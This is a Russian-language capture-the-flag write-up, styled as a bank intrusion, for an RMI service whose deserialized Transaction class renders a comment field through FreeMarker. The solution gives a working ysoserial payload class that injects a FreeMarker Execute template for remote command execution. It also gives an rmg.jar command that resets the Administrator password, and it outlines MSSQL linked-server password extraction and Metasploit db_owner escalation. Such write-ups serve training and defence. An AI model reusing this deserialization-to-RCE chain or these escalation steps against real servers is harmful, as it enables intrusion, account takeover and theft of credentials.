# Transaction Zone

## Описание

У нас мало времени. В банке начали что-то подозревать, поэтому, как получишь доступ к какой-то машине, присылай нам ip-адрес. Наша команда OSINT нашла исходный код от какого-то продукта банка, может быть тебе пригодится. Исходный код расположен по [ссылке](https://dropmefiles.com/lqr6k).

Содержимое файла `TransactionPool.java`

package ru.bank.currency;

import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.io.*;


import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;


public class TransactionPool implements Serializable {
    private static final long serialVersionUID = 0L;
    protected static final Logger LOGGER = LoggerFactory.getLogger(TransactionPool.class);
    private ArrayList<Transaction> transactions;

    public TransactionPool() {
        this.transactions = new ArrayList<Transaction>();
    }

    public TransactionPool(ArrayList<Transaction> transactions) {
        this.transactions = transactions;
    }

    public TransactionPool(Transaction transactions) {
        this.transactions = new ArrayList<Transaction>();
        this.transactions.add(transactions);
    }
    private class Transaction implements Serializable {


        public Transaction() {

        }

        public int receiverid;
        public int senderid;
        public double amount;
        private String comment;



        @Override
        public String toString() {
            String templateStr = "Transaction: " +
                "receiver: ${trans.receiverid!} " +
                "amount: ${trans.amount!} " +
                "sender: ${trans.senderid!} " +
                "amount: ${trans.amount!} " +
                "comment: " + this.comment;
            Map<String, Object> data = new HashMap<String, Object>();
            data.put("trans", this);
            Template template;
            try {
                template = new Template("Transaction", new StringReader(templateStr),
                    new Configuration());
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            StringWriter result = new StringWriter();
            try {
                template.process(data, result);
            } catch (TemplateException e) {
                throw new RuntimeException(e);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return result.toString();
        }
    }


    private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {
        ois.defaultReadObject();
        LOGGER.info(this.transactions.toString()); // Logger req
    }

}

Содержимое файла `TransactionPoolInterface.java`

public interface TransactionPoolInterface extends Remote {
    String addTransactionPool(Object transactionPool) throws RemoteException;
}

## Краткое описание уязвимостей

На одном из серверов доступен RMI-сервис с уязвимостью десериализации класса, в методе `toString()` которого используется `freemarker` для шаблона строки. Он подвержен атаке SSTI. Далее после получения RCE необходимо повысить привелегии через Link на другом сервере.

# Решение
## Исследование сервера

Полученные файлы являются частью RMI-сервера. Один из файлов показывает сигнатуру метода `addTransactionPool`, что позволяет его использовать.
С использованием [Remote Method Guesser](https://github.com/qtc-de/remote-method-guesser) можно подтвердить наличие интерфейса из файла.


Уязвимость можно обнаружить в исходном коде класса `Transaction`, а именно SSTI в методе `toString()` с использованием поля `comment`. Метод `readObject()` вызывается при каждой десериализации объекта. В этом методе реализовано логгирование объектов, формат которых и обозначен в `toString()` класса `Transaction`.

## Подготовка эксплоита и исполнение

Чтобы использовать уязвимость можно написать собственный модуль для [ysoserial](https://github.com/frohoff/ysoserial), который будет создавать необходимый объект для эксплуатации.

package ysoserial.payloads;

import ru.bank.currency.TransactionPool;

import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.util.ArrayList;

@SuppressWarnings({"rawtypes", "unchecked"})

public class TestCase extends PayloadRunner implements ObjectPayload<Object>, Serializable {

    public Object getObject(final String command) throws Exception {
        TransactionPool badtrans = new TransactionPool();
        Class<?> c = TransactionPool.class.getDeclaredClasses()[0];
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        final Object badtran = constructor.newInstance(badtrans);
        Reflections.setFieldValue(badtran, "comment", "${\"freemarker.template.utility.Execute\"?new()(\""+ command +"\")}");
        ArrayList<Object> payload = new ArrayList<Object>();
        payload.add(badtran);
        Reflections.setFieldValue(badtrans, "transactions", payload);
        return badtrans;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(TestCase.class, args);
    }
}

Необходимо скомпилировать JAR-файл для работы с `RMG`, после чего запустить эксплоит следующей командой:

`java -jar rmg.jar serial <host> 1099 TestCase 'net user administrator 1qaz@WSX' --signature 'String addTransactionPool(Object paramObject)' --bound-name TransactionPool --yso <jar-location> `


Пароль учетной записи `Administrator` будет изменен, что позволит подключиться к хосту по RDP.


Выясняем, что на сервере есть СУБД MSSQL и настроен Link на соседний сервер. Скачаем Get-MSSQLLinkPasswords.psm1 и получим пароль учетной записи, от которой работает Link в открытом виде.
Данная учетная запись не имеет прав SysDBA на удаленном сервере MSSQL, однако стоит проверить варианты повышения привилегий.
С помощью модуля admin/mssql/mssql_escalate_dbowner в MSF можем проверить наличие привилегий db_owner и повысить привилегии в системе.

Отлично, теперь можем проверить свои привилегии в системе. При желании можно получить reverse shell и сделать privesc, как это было в офисе SPB.
Но на самом деле, можно просто прочитать флаг в описании пользователя flag.